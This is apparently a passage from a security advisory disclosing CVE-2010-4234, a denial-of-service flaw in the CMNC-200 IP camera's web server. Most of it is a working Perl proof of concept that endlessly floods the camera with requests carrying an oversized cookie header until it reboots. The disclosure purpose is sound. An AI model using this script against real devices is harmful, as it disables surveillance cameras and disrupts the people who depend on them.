Finding 5: Camera Denial of Service CVE: CVE-2010-4234 The CMNC-200 IP Camera has a built-in web server that is vulnerable to denial of service attacks. Sending multiple requests in parallel to the web server may cause the camera to reboot. Requests with long cookie header makes the IP camera reboot a few seconds faster, however the same can be accomplished with requests of any size. The example code below is able to reboot the IP cameras in less than a minute in a local network. #!/usr/bin/perl use LWP::UserAgent; while (1 == 1){ $ua = new LWP::UserAgent; $ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.6)"); $req = HTTP::Request->new(GET => 'http://192.168.10.100'); $req->header(Accept => "text/xml,application/xml,application/xhtml+xml,text/html ;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5"); $req->header("Keep-Alive" => 0); $req->header(Connection => "close"); $req->header("If-Modified-Since" => "Mon, 12 Oct 2009 02:06:34 GMT"); $req->header(Cookie => "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); my $res = $ua->request($req); }
